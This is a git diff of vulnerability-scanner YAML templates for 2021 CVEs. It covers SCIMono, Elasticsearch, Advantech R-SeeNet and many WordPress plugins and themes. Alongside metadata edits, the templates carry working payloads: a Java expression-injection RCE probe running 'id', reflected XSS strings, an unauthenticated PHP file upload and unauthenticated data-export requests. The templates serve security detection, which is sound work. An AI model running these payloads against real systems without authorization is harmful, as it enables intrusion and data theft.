- - - + # HTMLCodeFormat(myVar)# - | POST /lucee/{{randstr}}.cfm HTTP/1.1 Host: {{Hostname}} @@ -68,11 +74,11 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "uid=" - "gid=" - "groups=" - part: body condition: and - type: status @@ -82,4 +88,5 @@ requests: extractors: - type: regex regex: - - "(u|g)id=.*" \ No newline at end of file + - "(u|g)id=.*" +# digest: 4a0a004730450221008399473a6746a821817d312e4dc49b02a4bdbbe610389cd0db6d492c1070171902205a103598a8377e51c2d25d57b34081a4f8b961eb362e89dca1ab7ca38faf7265:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-21479.yaml b/poc/cve/CVE-2021-21479.yaml index 7187997543..131708d8d2 100644 --- a/poc/cve/CVE-2021-21479.yaml +++ b/poc/cve/CVE-2021-21479.yaml @@ -1,5 +1,4 @@ id: CVE-2021-21479 - info: name: SCIMono <0.0.19 - Remote Code Execution author: dwisiswant0 @@ -7,8 +6,6 @@ info: description: | SCIMono before 0.0.19 is vulnerable to remote code execution because it is possible for an attacker to inject and execute java expressions and compromise the availability and integrity of the system. - remediation: | - Upgrade SCIMono to version 0.0.19 or later to mitigate this vulnerability. reference: - https://securitylab.github.com/advisories/GHSL-2020-227-scimono-ssti/ - https://nvd.nist.gov/vuln/detail/CVE-2021-21479 @@ -18,27 +15,19 @@ info: cvss-score: 9.1 cve-id: CVE-2021-21479 cwe-id: CWE-74 - epss-score: 0.00362 - epss-percentile: 0.69229 - cpe: cpe:2.3:a:sap:scimono:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: sap - product: scimono tags: cve,cve2021,scimono,rce - -http: +requests: - method: GET path: - "{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D" - matchers: - type: word - part: body words: - "The attribute value" - "java.lang.UNIXProcess@" - "has invalid value!" - '"status" : "400"' + part: body condition: and -# digest: 490a0046304402201a5f4fdd649e775ab20a7246a65b4e850cfa3f95c3ea174a1e3a9012cf18ddc402207f1c9955a6b04ec5ccc41287253667ed8ad0368a7f5979ebfc033360a907d81a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + +# Enhanced by mp on 2022/05/05 diff --git a/poc/cve/CVE-2021-21799.yaml b/poc/cve/CVE-2021-21799.yaml index c6fa7b0c5c..44d996dca0 100644 --- a/poc/cve/CVE-2021-21799.yaml +++ b/poc/cve/CVE-2021-21799.yaml @@ -1,50 +1,37 @@ id: CVE-2021-21799 - info: - name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting + name: Advantech R-SeeNet v 2.4.12 - Cross Site Scripting author: arafatansari severity: medium description: | - Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the telnet_form.php script functionality. - remediation: | - Apply the latest security patches or updates provided by Advantech to mitigate the XSS vulnerability in R-SeeNet 2.4.12. + Advantech R-SeeNet v 2.4.12 is vulnerable to Refleced Cross Site Scripting in the telnet_form.php script functionality. reference: - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21799 - https://nvd.nist.gov/vuln/detail/CVE-2021-21799 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-21799 cwe-id: CWE-79 - epss-score: 0.83144 - epss-percentile: 0.98118 - cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:* metadata: - verified: true - max-request: 1 - vendor: advantech - product: r-seenet shodan-query: http.html:"R-SeeNet" + verified: "true" tags: cve,cve2021,xss,r-seenet - -http: +requests: - method: GET path: - "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E" - matchers-condition: and matchers: - type: word part: body words: - "Telnet " - - type: word part: header words: - "text/html" - - type: status status: - 200 -# digest: 4a0a004730450220260748bd303a07808dcb8e8a7b2cace757566e41c0591cc961c9a20016d995e2022100f01a65c6ddec53ba9e4f907fb232f37fcd7bb455d2f57da2275a1676ec9e4166:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-22145.yaml b/poc/cve/CVE-2021-22145.yaml index 41b603cbeb..8f8afb81a1 100644 --- a/poc/cve/CVE-2021-22145.yaml +++ b/poc/cve/CVE-2021-22145.yaml @@ -1,54 +1,37 @@ id: CVE-2021-22145 - info: - name: Elasticsearch 7.10.0-7.13.3 - Information Disclosure + name: ElasticSearch 7.13.3 - Memory disclosure author: dhiyaneshDk severity: medium - description: ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations. - remediation: | - Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145. + description: A memory disclosure vulnerability was identified in Elasticsearch 7.10.0 to 7.13.3 error reporting. A user with the ability to submit arbitrary queries to Elasticsearch could submit a malformed query that would result in an error message returned containing previously used portions of a data buffer. This buffer could contain sensitive information such as Elasticsearch documents or authentication details. reference: - https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml + - https://nvd.nist.gov/vuln/detail/CVE-2021-22145 - https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html - https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177 - - https://nvd.nist.gov/vuln/detail/CVE-2021-22145 - - https://security.netapp.com/advisory/ntap-20210827-0006/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2021-22145 cwe-id: CWE-209 - epss-score: 0.96589 - epss-percentile: 0.99513 - cpe: cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: elastic - product: elasticsearch - tags: cve,cve2021,elasticsearch,packetstorm - -http: + tags: cve,cve2021,elasticsearch +requests: - method: POST path: - '{{BaseURL}}/_bulk' - - body: | - @ - headers: Content-Type: application/json - + body: | + @ matchers-condition: and matchers: - type: word - part: body words: - 'root_cause' - 'truncated' - 'reason' + part: body condition: and - - type: status status: - 400 -# digest: 4a0a00473045022100e8242b986f420c492836db13ea67c1bd04db6151c462df1f1ca4755b1b0235fc0220690ca624dc117be0ac47cb6457251dbd9112f5bfe0ab6665c72d9d0e6f1ee462:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24146.yaml b/poc/cve/CVE-2021-24146.yaml index 61d3d453df..1e89753bd6 100644 --- a/poc/cve/CVE-2021-24146.yaml +++ b/poc/cve/CVE-2021-24146.yaml @@ -1,19 +1,32 @@ id: CVE-2021-24146 info: - name: Modern Events Calendar Lite < 5.16.5 - Unauthenticated Events Export - description: Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5, did not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format for example. + name: WordPress Modern Events Calendar Lite <5.16.5 - Sensitive Information Disclosure author: random_robbie severity: high - reference: https://wpscan.com/vulnerability/c7b1ebd6-3050-4725-9c87-0ea525f8fecc - tags: wordpress,wp-plugin,cve,cve2021 + description: WordPress Modern Events Calendar Lite before 5.16.5 does not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format. + remediation: | + Update to the latest version of the Modern Events Calendar Lite plugin (5.16.5 or higher) to fix the vulnerability. + reference: + - https://wpscan.com/vulnerability/c7b1ebd6-3050-4725-9c87-0ea525f8fecc + - http://packetstormsecurity.com/files/163345/WordPress-Modern-Events-Calendar-5.16.2-Information-Disclosure.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-24146 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - cvss-score: 7.50 + cvss-score: 7.5 cve-id: CVE-2021-24146 - cwe-id: CWE-284 + cwe-id: CWE-862,CWE-284 + epss-score: 0.0212 + epss-percentile: 0.87962 + cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: webnus + product: modern_events_calendar_lite + framework: wordpress + tags: cve2021,wpscan,packetstorm,wordpress,wp-plugin,cve -requests: +http: - method: GET path: - "{{BaseURL}}/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv" @@ -21,12 +34,14 @@ requests: matchers-condition: and matchers: - type: word + part: header words: - "mec-events" - "text/csv" condition: and - part: header - type: status status: - 200 + +# digest: 4a0a0047304502205bdd1245f8581e897aab12ec4dfab4d1b03b0bee9745e4c625fea61bd59387d9022100c57fe9340f27311dcca130c8c7338d59153a9edf8487a5951b70b20974592989:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/CVE-2021-24235.yaml b/poc/cve/CVE-2021-24235.yaml index b2fe371dde..689baa37e3 100644 --- a/poc/cve/CVE-2021-24235.yaml +++ b/poc/cve/CVE-2021-24235.yaml @@ -1,52 +1,26 @@ id: CVE-2021-24235 - info: - name: WordPress Goto Tour & Travel Theme <2.0 - Cross-Site Scripting + name: Goto - Tour & Travel < 2.0 - Reflected Cross-Site Scripting (XSS) author: daffainfo severity: medium - description: WordPress Goto Tour & Travel theme before 2.0 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize the keywords and start_date GET parameters on its Tour List page. - remediation: | - Update to the latest version of the WordPress Goto Tour & Travel Theme (>=2.0) to mitigate the XSS vulnerability. - reference: - - https://wpscan.com/vulnerability/eece90aa-582b-4c49-8b7c-14027f9df139 - - https://m0ze.ru/vulnerability/[2021-02-10]-[WordPress]-[CWE-79]-Goto-WordPress-Theme-v1.9.txt - - https://nvd.nist.gov/vuln/detail/CVE-2021-24235 - - https://m0ze.ru/vulnerability/%5B2021-02-10%5D-%5BWordPress%5D-%5BCWE-79%5D-Goto-WordPress-Theme-v1.9.txt - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24235 - cwe-id: CWE-79 - epss-score: 0.00112 - epss-percentile: 0.44371 - cpe: cpe:2.3:a:boostifythemes:goto:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: boostifythemes - product: goto - framework: wordpress - tags: xss,wp-theme,wpscan,cve,cve2021,wordpress - -http: + reference: https://nvd.nist.gov/vuln/detail/CVE-2021-24235 + tags: cve,cve2021,wordpress,xss,wp-theme +requests: - method: GET path: - '{{BaseURL}}/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13' - matchers-condition: and matchers: - type: word - part: body words: - "input/Autofocus/%0D*/Onfocus=alert(123);" - "goto-tour-list-js-extra" + part: body condition: and - - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 490a0046304402203c73d3a351b41eb2ba40b2f56776192f46586003c13fca10d331b62408a332ee0220274ed0876a9c9bdf39eae9aa7b733446ed50fac81f15fbc9dbd88a2d2341c8d4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24236.yaml b/poc/cve/CVE-2021-24236.yaml index 74e93981a0..cc0cd70f13 100644 --- a/poc/cve/CVE-2021-24236.yaml +++ b/poc/cve/CVE-2021-24236.yaml @@ -1,37 +1,25 @@ -id: "CVE-2021-24236" - +id: CVE-2021-24236 info: - name: WordPress Imagements <=1.2.5 - Arbitrary File Upload + name: WordPress Plugin Imagements 1.2.5 - Unauthenticated Arbitrary File Upload author: pussycat0x severity: critical description: | - WordPress Imagements plugin through 1.2.5 is susceptible to arbitrary file upload which can lead to remote code execution. The plugin allows images to be uploaded in comments but only checks for the Content-Type in the request to forbid dangerous files. An attacker can upload arbitrary files by using a valid image Content-Type along with a PHP filename and code. - remediation: | - Update WordPress Imagements plugin to version 1.2.6 or later to fix the arbitrary file upload vulnerability. + The Imagements WordPress plugin through 1.2.5 allows images to be uploaded in comments, however only checks for the Content-Type in the request to forbid dangerous files. This allows unauthenticated attackers to upload arbitrary files by using a valid image Content-Type along with a PHP filename and code, leading to RCE. reference: - https://wpscan.com/vulnerability/8f24e74f-60e3-4100-9ab2-ec31b9c9cdea - https://wordpress.org/plugins/imagements/ - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236 - https://nvd.nist.gov/vuln/detail/CVE-2021-24236 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24236 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 - cve-id: "CVE-2021-24236" + cve-id: CVE-2021-24236 cwe-id: CWE-434 - epss-score: 0.14539 - epss-percentile: 0.95203 - cpe: cpe:2.3:a:imagements_project:imagements:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 2 - vendor: imagements_project - product: imagements - framework: wordpress - tags: cve,wp,unauth,imagements,wpscan,cve2021,fileupload,wordpress,wp-plugin,intrusive + tags: cve,cve2021,upload,rce,wordpress,wp-plugin,imagements,wp,unauth variables: php: "{{to_lower('{{randstr}}')}}.php" post: "1" - -http: +requests: - raw: - | POST /wp-comments-post.php HTTP/1.1 @@ -53,10 +41,10 @@ http: ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU Content-Disposition: form-data; name="url" + ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU Content-Disposition: form-data; name="checkbox" - yes ------WebKitFormBoundaryIYl2Oz8ptq5OMtbU Content-Disposition: form-data; name="naam" @@ -84,10 +72,9 @@ http: - | GET /wp-content/plugins/imagements/images/{{php}} HTTP/1.1 Host: {{Hostname}} - + req-condition: true matchers: - type: word part: body_2 words: - "CVE-2021-24236" -# digest: 4a0a00473045022100d2ee8868fcdf5ad1ba9be5038d8392150c77ef259ad57eb8905c87348bc711b202201b258813a98ee6070f2af2f5b24dc9770ceb96415bca34b261a89f75b5e11ba0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24245.yaml b/poc/cve/CVE-2021-24245.yaml index 7f1d0a8c87..c2bf97317e 100644 --- a/poc/cve/CVE-2021-24245.yaml +++ b/poc/cve/CVE-2021-24245.yaml @@ -1,21 +1,33 @@ id: CVE-2021-24245 + info: - name: WordPress Plugin Stop Spammers 2021.8 - Reflected XSS + name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting author: edoardottt severity: medium - description: The Stop Spammers WordPress plugin before 2021.9 did not escape user input when blocking requests (such as matching a spam word), outputting it in an attribute after sanitising it to remove HTML tags, which is not sufficient and lead to a reflected Cross-Site Scripting issue. + description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags. + remediation: | + Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability. reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-24245 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24245 - https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html - https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735 + - https://nvd.nist.gov/vuln/detail/CVE-2021-24245 + - http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24245 cwe-id: CWE-79 - tags: cve,cve2021,wordpress,xss,wp-plugin -requests: + epss-score: 0.00177 + epss-percentile: 0.54794 + cpe: cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: trumani + product: stop_spammers + framework: wordpress + tags: wpscan,cve,cve2021,wordpress,xss,wp-plugin,packetstorm + +http: - raw: - | POST /wp-login.php HTTP/1.1 @@ -24,16 +36,20 @@ requests: Cookie: wordpress_test_cookie=WP+Cookie+check; log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1 + matchers-condition: and matchers: - - type: status - status: - - 200 - type: word part: header words: - "text/html" + - type: word part: body words: - "ad\" accesskey=X onclick=alert(1)" + + - type: status + status: + - 200 +# digest: 4a0a0047304502210090da6bc0570507116707f76dc5a760d028daf5203979134daf62a1129cc96949022045bf581faf04d7c5cbc1eb2bf981b93b8ca08f9ab7b070b2d5f1dbf5b14764b4:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24275.yaml b/poc/cve/CVE-2021-24275.yaml index 89211570dd..c22431ecf2 100644 --- a/poc/cve/CVE-2021-24275.yaml +++ b/poc/cve/CVE-2021-24275.yaml @@ -1,32 +1,49 @@ id: CVE-2021-24275 + info: - name: Popup by Supsystic < 1.10.5 - Reflected Cross-Site scripting (XSS) + name: Popup by Supsystic <1.10.5 - Cross-Site scripting author: dhiyaneshDK severity: medium - description: The Popup by Supsystic WordPress plugin before 1.10.5 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue. + description: WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue. + remediation: | + Upgrade to Popup by Supsystic version 1.10.5 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/efdc76e0-c14a-4baf-af70-9d381107308f - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24275 + - http://packetstormsecurity.com/files/164311/WordPress-Popup-1.10.4-Cross-Site-Scripting.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-24275 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 + cvss-score: 6.1 cve-id: CVE-2021-24275 cwe-id: CWE-79 - tags: wordpress,cve,cve2021,wp-plugin -requests: + epss-score: 0.00177 + epss-percentile: 0.54794 + cpe: cpe:2.3:a:supsystic:popup:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: supsystic + product: popup + framework: wordpress + tags: wpscan,packetstorm,wordpress,cve,cve2021,wp-plugin + +http: - method: GET path: - '{{BaseURL}}/wp-admin/admin.php?page=popup-wp-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + matchers-condition: and matchers: - type: word words: - '' condition: and - - type: status - status: - - 200 + - type: word + part: header words: - "text/html" - part: header + + - type: status + status: + - 200 +# digest: 4a0a00473045022055d2a4e69328673dd95641d02bb7a57ce208dbab8b94d62d1b29f10a2407f0d2022100c80fe8edd02ddde6befd4dcd07205d67083cb2fedc62a9a35766508364a61b0e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24276.yaml b/poc/cve/CVE-2021-24276.yaml index df8624da37..0e7cc9ec1f 100644 --- a/poc/cve/CVE-2021-24276.yaml +++ b/poc/cve/CVE-2021-24276.yaml @@ -1,32 +1,21 @@ id: CVE-2021-24276 info: - name: WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting + name: Contact Form by Supsystic < 1.7.15 - Reflected Cross-Site scripting (XSS) author: dhiyaneshDK severity: medium - description: WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute. - remediation: | - Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability. + description: The Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue reference: - https://wpscan.com/vulnerability/1301123c-5e63-432a-ab90-3221ca532d9c - - http://packetstormsecurity.com/files/164308/WordPress-Contact-Form-1.7.14-Cross-Site-Scripting.html - https://nvd.nist.gov/vuln/detail/CVE-2021-24276 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 + cvss-score: 6.10 cve-id: CVE-2021-24276 cwe-id: CWE-79 - epss-score: 0.00177 - epss-percentile: 0.54794 - cpe: cpe:2.3:a:supsystic:contact_form:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: supsystic - product: contact_form - framework: wordpress - tags: wordpress,cve,cve2021,wp-plugin,wpscan,packetstorm + tags: wordpress,cve,cve2021,wp-plugin -http: +requests: - method: GET path: - '{{BaseURL}}/wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' @@ -34,16 +23,15 @@ http: matchers-condition: and matchers: - type: word - part: body words: - '' - - - type: word - part: header - words: - - "text/html" + part: body - type: status status: - 200 -# digest: 4a0a00473045022100a08986d441f75a823c1666d7ada3ff0807d5d62482d31e3eab15db18ddc24cb6022013115d6204757d94cb0fd375ed2b4adb8af8242887e5c9e485ab0a6511622274:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + + - type: word + words: + - "text/html" + part: header diff --git a/poc/cve/CVE-2021-24300.yaml b/poc/cve/CVE-2021-24300.yaml index 04d0926f66..a11e151c27 100644 --- a/poc/cve/CVE-2021-24300.yaml +++ b/poc/cve/CVE-2021-24300.yaml @@ -1,9 +1,12 @@ id: CVE-2021-24300 + info: - name: PickPlugins Product Slider for WooCommerce < 1.13.22 - XSS + name: WordPress WooCommerce <1.13.22 - Cross-Site Scripting author: cckuailong severity: medium - description: The slider import search feature of the PickPlugins Product Slider for WooCommerce WordPress plugin before 1.13.22 did not properly sanitised the keyword GET parameter, leading to reflected Cross-Site Scripting issue. + description: WordPress WooCommerce before 1.13.22 contains a reflected cross-site scripting vulnerability via the slider import search feature because it does not properly sanitize the keyword GET parameter. + remediation: | + Update WordPress WooCommerce plugin to version 1.13.22 or later to mitigate the vulnerability. reference: - https://wpscan.com/vulnerability/5fbbc7ad-3f1a-48a1-b2eb-e57f153eb837 - https://nvd.nist.gov/vuln/detail/CVE-2021-24300 @@ -12,8 +15,17 @@ info: cvss-score: 6.1 cve-id: CVE-2021-24300 cwe-id: CWE-79 - tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated -requests: + epss-score: 0.00302 + epss-percentile: 0.6624 + cpe: cpe:2.3:a:pickplugins:product_slider_for_woocommerce:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 2 + vendor: pickplugins + product: product_slider_for_woocommerce + framework: wordpress + tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated,wpscan + +http: - raw: - | POST /wp-login.php HTTP/1.1 @@ -26,7 +38,7 @@ requests: - | GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1 Host: {{Hostname}} - cookie-reuse: true + matchers-condition: and matchers: - type: word @@ -35,10 +47,13 @@ requests: - 'value="\"onmouseover=alert(document.domain);//">' - "PickPlugins Product Slider" condition: and + - type: word part: header words: - text/html + - type: status status: - 200 +# digest: 4b0a00483046022100d3ebae525cf732b0972080200aa7c930eb151e5b58215dc1d60f4c6b9586e987022100d0ec8858b3e0288793a0cb8001b6c90a32747618e94188d717a29d5a07139518:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24320.yaml b/poc/cve/CVE-2021-24320.yaml index 17f09b2c52..22b1611f5d 100644 --- a/poc/cve/CVE-2021-24320.yaml +++ b/poc/cve/CVE-2021-24320.yaml @@ -1,49 +1,25 @@ id: CVE-2021-24320 - info: - name: WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting + name: Bello WordPress Theme < 1.6.0 - Reflected Cross-Site Scripting (XSS) author: daffainfo severity: medium - description: WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page. - remediation: | - Update WordPress Bello Directory & Listing Theme to version 1.6.0 or later to mitigate the vulnerability. - reference: - - https://m0ze.ru/vulnerability/%5B2021-03-21%5D-%5BWordPress%5D-%5BCWE-79%5D-Bello-WordPress-Theme-v1.5.9.txt - - https://wpscan.com/vulnerability/6b5b42fd-028a-4405-b027-3266058029bb - - https://nvd.nist.gov/vuln/detail/CVE-2021-24320 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24320 - cwe-id: CWE-79 - epss-score: 0.00116 - epss-percentile: 0.45221 - cpe: cpe:2.3:a:bold-themes:bello:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: bold-themes - product: bello - framework: wordpress - tags: cve2021,wordpress,xss,wp-plugin,wpscan,cve - -http: + description: The Bello - Directory & Listing WordPress theme before 1.6.0 did not properly sanitise and escape its listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameter in ints listing page, leading to reflected Cross-Site Scripting issues. + reference: https://nvd.nist.gov/vuln/detail/CVE-2021-24320 + tags: cve,cve2021,wordpress,xss,wp-plugin +requests: - method: GET path: - '{{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and matchers: - type: word - part: body words: - "" - + part: body - type: word part: header words: - text/html - - type: status status: - 200 -# digest: 4b0a00483046022100d57c260ef92034a40c6b2c3a8b63d4ca47154c28d3450e14f404f933cfcfbe5c022100b7c6d51aba44c0a8b6af300210204d557a470a039e8c943286671f3290512b7f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24342.yaml b/poc/cve/CVE-2021-24342.yaml index 894c05ff48..158f9e4eea 100644 --- a/poc/cve/CVE-2021-24342.yaml +++ b/poc/cve/CVE-2021-24342.yaml @@ -1,12 +1,9 @@ id: CVE-2021-24342 - info: - name: WordPress JNews Theme <8.0.6 - Cross-Site Scripting + name: JNews < 8.0.6 - Reflected Cross-Site Scripting (XSS) author: pikpikcu severity: medium - description: WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*). - remediation: | - Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability. + description: JNews WordPress theme before 8.0.6 did not sanitise the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*), leading to a Reflected Cross-Site Scripting (XSS) issue. reference: - https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e - https://nvd.nist.gov/vuln/detail/CVE-2021-24342 @@ -15,17 +12,8 @@ info: cvss-score: 6.1 cve-id: CVE-2021-24342 cwe-id: CWE-79 - epss-score: 0.00102 - epss-percentile: 0.41374 - cpe: cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:* - metadata: - max-request: 1 - vendor: jnews - product: jnews - framework: wordpress - tags: cve2021,wordpress,xss,wp-plugin,wpscan,cve - -http: + tags: cve,cve2021,wordpress,xss,wp-plugin +requests: - raw: - | POST /?ajax-request=jnews HTTP/1.1 @@ -34,20 +22,16 @@ http: Content-Type: application/x-www-form-urlencoded lang=en_US&cat_id=6">&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67 - matchers-condition: and matchers: - type: word - part: body words: - '' - + part: body - type: word - part: header words: - 'Content-Type: text/html' - + part: header - type: status status: - 200 -# digest: 4a0a00473045022100ca9c3f5478cef6ae3d35ac3079050a5fecc23328373f06b680b40d9eb37305330220363c85b528b8e6c4265cf62264775efb104aeb923d7dcdd926da8f2ac243ff3c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2021-24891.yaml b/poc/cve/CVE-2021-24891.yaml index 68a51f3fe2..660c2e8fab 100644 --- a/poc/cve/CVE-2021-24891.yaml +++ b/poc/cve/CVE-2021-24891.yaml @@ -1,13 +1,10 @@ id: CVE-2021-24891 - info: - name: WordPress Elementor Website Builder <3.1.4 - Cross-Site Scripting + name: Elementor < 3.1.4 - DOM Cross-Site-Scripting author: dhiyaneshDk severity: medium description: | - WordPress Elementor Website Builder plugin before 3.1.4 contains a DOM cross-site scripting vulnerability. It does not sanitize or escape user input appended to the DOM via a malicious hash. - remediation: | - Update WordPress Elementor Website Builder to version 3.1.4 or later to mitigate this vulnerability. + The Elementor Website Builder WordPress plugin before 3.1.4 does not sanitise or escape user input appended to the DOM via a malicious hash, resulting in a DOM Cross-Site Scripting issue. reference: - https://www.jbelamor.com/xss-elementor-lightox.html - 